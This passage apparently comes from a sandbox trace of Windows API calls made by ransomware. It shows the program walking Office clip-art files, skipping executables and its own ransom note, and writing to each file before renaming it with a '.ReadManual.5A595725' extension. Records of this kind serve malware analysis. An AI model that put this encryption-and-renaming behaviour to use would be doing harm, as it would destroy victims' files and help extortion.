Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" [0265.380] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ReadManual.5A595725" [0265.380] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.ReadManual.5A595725") returned 87 [0265.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38604924884) returned 1 [0265.381] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0265.381] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.381] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4970) returned 1 [0265.381] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136a, lpName=0x0) returned 0x184 [0265.381] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.382] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.382] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.383] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.383] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x136a) returned 0x2f0000 [0265.384] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38605245884) returned 1 [0265.384] CloseHandle (hObject=0x184) returned 1 [0265.384] SetSecurityInfo () returned 0x57 [0265.384] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.384] CloseHandle (hObject=0x194) returned 1 [0265.384] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0265.384] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099145.JPG" | out: lpString1="J0099145.JPG") returned="J0099145.JPG" [0265.384] lstrcmpiW (lpString1="J0099145.JPG", lpString2="RecoveryManual.html") returned -1 [0265.384] StrStrIW (lpFirst="J0099145.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.384] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.384] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.384] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.385] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.385] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" [0265.385] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ReadManual.5A595725" [0265.385] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ReadManual.5A595725") returned 87 [0265.385] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38605345106) returned 1 [0265.385] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0265.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.385] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24759) returned 1 [0265.385] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60b7, lpName=0x0) returned 0x184 [0265.385] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.386] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.398] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.398] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60b7) returned 0x2f0000 [0265.399] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38606760408) returned 1 [0265.399] CloseHandle (hObject=0x184) returned 1 [0265.399] SetSecurityInfo () returned 0x57 [0265.399] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.399] CloseHandle (hObject=0x194) returned 1 [0265.399] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0265.399] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099146.WMF" | out: lpString1="J0099146.WMF") returned="J0099146.WMF" [0265.399] lstrcmpiW (lpString1="J0099146.WMF", lpString2="RecoveryManual.html") returned -1 [0265.399] StrStrIW (lpFirst="J0099146.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.399] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.399] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.400] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.400] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.400] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.400] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.400] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.400] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" [0265.400] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ReadManual.5A595725" [0265.400] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ReadManual.5A595725") returned 87 [0265.400] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38606852134) returned 1 [0265.400] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0265.400] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.400] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16596) returned 1 [0265.400] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40d4, lpName=0x0) returned 0x184 [0265.400] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.401] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.401] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.403] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.403] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40d4) returned 0x2f0000 [0265.403] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.403] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38607199635) returned 1 [0265.403] CloseHandle (hObject=0x184) returned 1 [0265.403] SetSecurityInfo () returned 0x57 [0265.403] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.403] CloseHandle (hObject=0x194) returned 1 [0265.404] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0265.404] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099147.JPG" | out: lpString1="J0099147.JPG") returned="J0099147.JPG" [0265.404] lstrcmpiW (lpString1="J0099147.JPG", lpString2="RecoveryManual.html") returned -1 [0265.404] StrStrIW (lpFirst="J0099147.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.404] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.404] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.404] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.404] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" [0265.404] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ReadManual.5A595725" [0265.404] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ReadManual.5A595725") returned 87 [0265.404] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38607291275) returned 1 [0265.404] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0265.404] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.405] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24377) returned 1 [0265.405] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f39, lpName=0x0) returned 0x184 [0265.405] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.405] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.405] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.407] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.407] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f39) returned 0x2f0000 [0265.408] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.408] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38607652803) returned 1 [0265.408] CloseHandle (hObject=0x184) returned 1 [0265.408] SetSecurityInfo () returned 0x57 [0265.408] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.408] CloseHandle (hObject=0x194) returned 1 [0265.408] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0265.408] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099148.JPG" | out: lpString1="J0099148.JPG") returned="J0099148.JPG" [0265.408] lstrcmpiW (lpString1="J0099148.JPG", lpString2="RecoveryManual.html") returned -1 [0265.408] StrStrIW (lpFirst="J0099148.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.408] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.408] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.408] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.408] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.408] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.408] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.408] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.409] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.409] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.409] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.409] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.409] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.409] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.409] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.409] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" [0265.409] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ReadManual.5A595725" [0265.409] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ReadManual.5A595725") returned 87 [0265.409] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38607762596) returned 1 [0265.409] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0265.409] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.409] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18258) returned 1 [0265.409] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4752, lpName=0x0) returned 0x184 [0265.409] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.410] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.410] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.412] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.412] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4752) returned 0x2f0000 [0265.412] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.412] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38608096740) returned 1 [0265.412] CloseHandle (hObject=0x184) returned 1 [0265.412] SetSecurityInfo () returned 0x57 [0265.412] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.412] CloseHandle (hObject=0x194) returned 1 [0265.412] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0265.413] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099149.WMF" | out: lpString1="J0099149.WMF") returned="J0099149.WMF" [0265.413] lstrcmpiW (lpString1="J0099149.WMF", lpString2="RecoveryManual.html") returned -1 [0265.413] StrStrIW (lpFirst="J0099149.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.413] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.413] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.413] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" [0265.413] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ReadManual.5A595725" [0265.413] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ReadManual.5A595725") returned 87 [0265.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38608192459) returned 1 [0265.413] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0265.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.414] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=73214) returned 1 [0265.414] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11dfe, lpName=0x0) returned 0x184 [0265.414] SetFileInformationByHandle (hFile=0x194, 